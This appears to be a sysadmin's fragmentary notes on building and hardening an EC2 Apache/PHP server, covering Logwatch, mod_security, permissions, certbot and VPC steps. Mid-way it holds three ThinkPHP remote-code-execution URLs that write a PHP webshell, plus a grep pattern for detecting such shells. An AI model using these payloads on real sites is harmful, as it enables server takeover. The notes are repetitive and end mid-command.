Below find url that will allow your ec2 servers to send emails
https://console.aws.amazon.com/support/contacts?#/rdns-limits
Below find url that will allow your ec2 servers to send emails
https://console.aws.amazon.com/support/contacts?#/rdns-limits
yum install logwatch
logwatch --detail Low --mailto [email protected] --service http --range today
vim /usr/share/logwatch/default.conf/logwatch.conf
Install mod security24 very important
yum install mod24_security
Then add the following right after it and restart apache to activate. # Second, we configure the "default" Location to restrict the methods allowed # to stop CONNECT method attacks. #
<VirtualHost *:80> ServerName default.only <Location /> Order allow,deny Deny from all </Location> </VirtualHost>
grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}'
Type who
the -u
flag; the PID is the number off to the right:
> who -u ec2-user pts/1 2019-11-14 16:52 00:02 16035 (104.245.199.125)
Look up the process ID of the shell their TTY is connected to:> ps t PID TTY STAT TIME COMMAND
16035pts/1
Ss 0:00 zsh
Laugh at their impending disconnection (this step is optional, but encouraged)> echo "HAHAHAHAHAHAHAHA" | write
ec2-userpts/1
Kill the corresponding process:
> kill -9
16035
https://xxxxxx.com/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=atpko.php&vars[1][]=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');
https://xxxxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');
https://xxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=
Files
find . -type f -print0 | xargs -0 chmod 0400
Directory
find . -type d -print0 | xargs -0 chmod 0500
find . -type d -print0 | xargs -0 chmod 0755 sudo find . -type d -print0 | sudo xargs -0 chmod 0755
find . -type f -print0 | xargs -0 chmod 0644 sudo find . -type f -print0 | sudo xargs -0 chmod 0644
grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}'
https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.WebServerDB.CreateWebServer.html
https://certbot.eff.org/lets-encrypt/debianjessie-apache
wget https://dl.eff.org/certbot-auto sudo mv certbot-auto /usr/local/bin/certbot-auto sudo chown root /usr/local/bin/certbot-auto chmod 0755 /usr/local/bin/certbot-auto sudo /usr/local/bin/certbot-auto --apache
(2) make sure you close http via aws inbount and ACL
sudo /usr/local/bin/certbot-auto --apache
<Directory /var/www/xxxx>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Require all granted
</Directory>
Directories 775
Files 664
find . -type d -print0 | xargs -0 chmod 0755
sudo find . -type d -print0 | sudo xargs -0 chmod 0755
find . -type f -print0 | xargs -0 chmod 0644
sudo find . -type f -print0 | sudo xargs -0 chmod 0644
sudo chown -R apache:apache .
grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}'
(1) create ec2 instance
(2) create vpc Make usre to have public IPV4 dns
Get your VPC ID from your EC2 dashboard.
Go to VPC dashboard. Select your VPC with VPC ID.
Click on Actions and Select "Edit DNS Hostnames".
Select Yes and click Save.
Now you can find Public DNS IPv4 value in EC2 dashboard.
(3) create subnet – 172.30.3.0/24 250 available ip addresses make sure auto-assign IPV 4
(4) create internet gateway
(5) create route tables – ADD 0.0.0.0/0 to internet gateway
yum update -y
<VirtualHost *:80>
DocumentRoot "/www/docs/host.example.com"
ServerName ec2-3-88-63-157.compute-1.amazonaws.comm
ErrorLog "logs/host.example.com-error_log"
TransferLog "logs/host.example.com-access_log"
</VirtualHost>
wget https://dl.eff.org/certbot-auto
[email protected]:~$ wget https://dl.eff.org/certbot-auto
[email protected]:~$ sudo mv certbot-auto /usr/local/bin/certbot-auto
[email protected]:~$ sudo chown root /usr/local/bin/certbot-auto
[email protected]:~$ chmod 0755 /usr/local/bin/certbot-auto
[email protected]:~$ /usr/local/bin/certbot-auto --help
/usr/local/bin/certbot-auto --debug --apache certonly -d raleche.com
sudo amazon-linux-extras install -y lamp-mariadb10.2-php7.2 php7.2
sudo amazon-linux-extras enable php7.3
sudo yum -y install php-cli php-pdo php-fpm php-json php-mysqlnd
[ec2-user ~]$ sudo systemctl start httpd
[ec2-user ~]$ sudo systemctl enable httpd
[ec2-user ~]$ sudo systemctl is-enabled httpd
To ensure that all of your software packages are up to date, perform a quick software update on your instance. This process may take a few minutes, but it is important to make sure that you have the latest security updates and bug fixes.
The -y option installs the updates without asking for confirmation. If you would like to examine the updates before installing, you can omit this option.
[ec2-user ~]
$ sudo yum update -y Install the lamp-mariadb10.2-php7.2 and php7.2 Amazon Linux Extras repositories to get the latest versions of the LAMP MariaDB and PHP packages for Amazon Linux 2.
[ec2-user ~]
$ sudo amazon-linux-extras install -y lamp-mariadb10.2-php7.2 p